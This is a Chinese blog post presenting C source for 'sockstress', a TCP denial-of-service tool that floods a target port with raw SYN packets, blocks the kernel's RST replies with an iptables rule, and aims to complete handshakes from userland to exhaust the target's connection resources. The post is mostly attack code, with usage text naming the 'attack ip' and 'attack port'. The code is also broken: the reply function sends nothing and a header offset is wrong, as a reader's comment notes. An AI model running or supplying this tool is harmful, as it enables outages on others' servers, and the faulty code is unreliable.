Chinaunix首页 | 论坛 | 博客
  • 博客访问: 31566
  • 博文数量: 14
  • 博客积分: 1410
  • 博客等级: 上尉
  • 技术积分: 155
  • 用 户 组: 普通用户
  • 注册时间: 2009-10-07 10:01
文章分类
文章存档

2009年(14)

我的朋友

分类: LINUX

2009-10-07 11:21:49

1. 发送一个TCP SYN包到目标端口请求连接。
2. 目标端口是打开的,这样它会用一个SYN/ACK包来响应—TCP3次握手的第二步。程序在以原始数据包发送SYN来建立连接时,是从用户空间区(userland),而不是使用操作系统的AP函数connect()。所以当操作系统的栈看到意外的SYN/ACK返回,它通常会发送一个复位(RST)数据包来销毁这个新生的连接。通过防火墙拦截发出的RST数据包。从用户空间区(使用libpcap)监听数据包,并建立/发送原始答复数据包,来代替操作系统处理所有这些。
3.使用SYN/ACK中的初始序列号和其它信息,发送一个确认包(3次握手的最后一步)来完成连接。
 
Usage: sockstress -d destip -p port -i [interval]
        -d destip:      attack ip
        -p port:        attack port
        -i [interval]:  attack interval

 

//////////////////////sockstress.h////////////////////////////////


#define ETHERNET_TYPE_IP 0x0800
#define IP_PROTO_TCP 6

struct ethernet_header{
    unsigned char DstMac[6];
    unsigned char SrcMac[6];
    unsigned short Type;
};



struct ip_header{
#ifdef HLBR_LITTLE_ENDIAN
    unsigned char ihl:4,
        version:4;
#else
    unsigned char version:4,
        ihl:4;
#endif
    unsigned char tos;
    unsigned short tot_len;
    unsigned short id;
    unsigned short frag_off;
    unsigned char ttl;
    unsigned char protocol;
    unsigned short check;
    unsigned int saddr;
    unsigned int daddr;
    /*The options start here. */
};



struct tcp_header {
    unsigned short source;
    unsigned short dest;
    unsigned int seq;
    unsigned int ack_seq;
     
#ifdef HLBR_LITTLE_ENDIAN
    unsigned short doff:4,
        res1:4,
        cwr:1,
        ece:1,
        urg:1,
        ack:1,
        psh:1,
        rst:1,
        syn:1,
        fin:1;
     
#else
    unsigned short res1:4,
        doff:4,
        fin:1,
        syn:1,
        rst:1,
        psh:1,
        ack:1,
        urg:1,
        ece:1,
        cwr:1;
#endif

    unsigned short window;
    unsigned short check;
    unsigned short urg_ptr;
};

/////////////////////sockstress.c//////////////////////////////

/*
    depend libnet, libpcap
     
    gcc sockstress.c -o sockstress -lpcap -lnet -lpthread -Wall
     
    add iptables rule:
        iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST,ACK,SYN RST -j DROP
     
*/


#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <libnet.h>
#include <sys/types.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netdb.h>
#include "sockstress.h"

#define DEV "eth0"




unsigned int src_ip;
unsigned int dest_ip;
int dest_port;
int interval;

unsigned int GetInterfaceIP(char *interface){
    struct ifreq req;
    int sock;

    sock = socket(AF_INET, SOCK_DGRAM, 0);
    strncpy (req.ifr_name, interface, IFNAMSIZ);

    if ( ioctl(sock, SIOCGIFADDR, &req) < 0 )
    {
        fprintf(stderr, "get interface ip failed\n");
        return 0;
    }
    return (unsigned int)(((struct sockaddr_in *) &req.ifr_addr)->sin_addr.s_addr);

}


int isPacket(const u_char *packet){
    struct ethernet_header *eth_hdr;
    struct ip_header *ip_hdr;
    struct tcp_header*tcp_hdr;

    eth_hdr = (struct ethernet_header*)packet;
     
     
    if(eth_hdr->Type != ntohs(ETHERNET_TYPE_IP)){
        return -1;
    }
    ip_hdr = (struct ip_header*)(packet + sizeof(struct ethernet_header));
     
    if(ip_hdr->protocol != IP_PROTO_TCP){
        return -1;
    }
    tcp_hdr = (struct tcp_header*)(packet + sizeof(struct ethernet_header) + sizeof(struct tcp_header));
     
    if(ip_hdr->saddr == dest_ip &
        ip_hdr->daddr == src_ip &
        tcp_hdr->source == ntohs(dest_port) &
        tcp_hdr->syn == 1 && tcp_hdr->ack == 1){

        return 0;
    }

        return -1;
}


int replayPacket(const u_char *buff){
    libnet_t *sendfd;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct tcp_header *tcp_hdr;
    struct ip_header *ip_hdr;
    struct ethernet_header *eth_hdr;


    eth_hdr = (struct ethernet_header*)buff;
    ip_hdr = (struct ip_header *)(buff + sizeof(struct ethernet_header));
    tcp_hdr = (struct tcp_header*)(buff + sizeof(struct ethernet_header) + sizeof(struct tcp_header));
     
     
     
     return 0;
}

/* Callback function invoked by libpcap for every incoming packet */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{

     
    if(isPacket(pkt_data) == -1){
        return;
    }
    if(replayPacket(pkt_data) == -1){
        fprintf(stderr, "replay packet failed\n");
        return;
    }
    return;
     
}


int synPacket(){
    libnet_t *sendfd;
    char errbuf[PCAP_ERRBUF_SIZE];
    int src_port;
     
    if((sendfd = libnet_init(
            LIBNET_RAW4, /* injection type */
            NULL, /* network interface */
            errbuf)) == NULL){
        fprintf(stderr,"init libnet failed\n");
        return -1;
    }
     
     if(libnet_build_tcp(
        src_port = libnet_get_prand(LIBNET_PRu16), /* source port */
        dest_port, /* destination port */
        libnet_get_prand(LIBNET_PRu32), /* sequence number */
        libnet_get_prand(LIBNET_PRu32), /* acknowledgement num */
        TH_SYN, /* control flags */
        32767, /* window size */
        0, /* checksum */
        0, /* urgent pointer */
        LIBNET_TCP_H, /* TCP packet size */
        NULL, /* payload */
        0, /* payload size */
        sendfd, /* libnet handle */
        0) == -1){
        fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(sendfd));
        return -1;
     }

         if(libnet_build_ipv4(
            LIBNET_IPV4_H + LIBNET_TCP_H, /* length */
            0, /* TOS */
            libnet_get_prand(LIBNET_PR8), /* IP ID */
            0, /* IP Frag */
            64, /* TTL */
            IPPROTO_TCP, /* protocol */
            0, /* checksum */
            src_ip, /* source IP */
            dest_ip, /* destination IP */
            NULL, /* payload */
            0, /* payload size */
            sendfd, /* libnet handle */
            0) == -1){
            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(sendfd));
            return -1;
         }
     if(libnet_write(sendfd) == -1){
        fprintf(stderr, "Write error: %s\n", libnet_geterror(sendfd));
        return -1;
     }
     libnet_destroy(sendfd);
     return 0;
}

void *sendsyn(void *arg){
    u_char packet[100];

    while(1){
        if(synPacket(packet) == -1){
            fprintf(stderr,"\nError send syn packet\n");
            return NULL;
        }
        usleep(interval);
    }
    return NULL;
     
}

void Usage(){
    printf("Usage: sockstress -d destip -p port -i [interval]\n");
    printf("\t-d destip:\tattack ip\n");
    printf("\t-p port:\tattack port\n");
    printf("\t-i [interval]:\tattack interval\n");
}

int main(int argc, char *argv[])
{
    char errbuf[PCAP_ERRBUF_SIZE];
    pthread_t pid;
    pcap_t *recvfd;
    char c;

    dest_ip = 0;
    dest_port = 0;
    interval = 100000;
    while ((c = getopt(argc, argv, "d:p:i:")) != EOF)
    {
        switch (c)
        {
         
            case 'd':
                dest_ip = inet_addr(optarg);
                break;
            case 'p':
                dest_port = atoi(optarg);
                break;
            case 'i':
                interval = atoi(optarg);
                break;
            default:
                Usage();
                return -1;
        }
    }
    if(dest_ip == 0 || dest_port <= 0){
        Usage();
        return -1;
    }

     

    libnet_seed_prand(0);


    if(pthread_create(&pid, NULL, sendsyn, NULL) == -1){
        fprintf(stderr,"create thread failed\n");
        return -1;
    }
    printf("send syn thread create ok...\n");
     
    src_ip = GetInterfaceIP(DEV);
     
    if ((recvfd= pcap_open_live(DEV, // name of the device

                             65536, // portion of the packet to capture.

                                            // 65536 grants that the whole packet will be captured on all the MACs.

                             0, // promiscuous mode (nonzero means promiscuous)

                             1000, // read timeout

                             errbuf // error buffer

                             )) == NULL){
        fprintf(stderr,"Unable to open the adapter. %s is not supported by LibPcap\n", DEV);

        return -1;
    }
     
    printf("listening on %s...\n", DEV);


    printf("begin attack %s...\n", inet_ntoa(*((struct in_addr*)&dest_ip)));
     
     

    /* start the capture */
    pcap_loop(recvfd, 0, packet_handler, NULL);

     
    pcap_close(recvfd);
    return 0;
}


阅读(2274) | 评论(1) | 转发(0) |
0

上一篇:WEB CC 测试小工具

下一篇:虚拟网卡驱动

给主人留下些什么吧!~~

chinaunix网友2010-01-31 21:00:57

tcp_hdr = (struct tcp_header*)(packet + sizeof(struct ethernet_header) + sizeof(struct tcp_header)); 这句话怎么是加的tcp_header,而不是ip_header呢? replayPacket 函数中没有调用发送函数,怎么也能回复成功呢?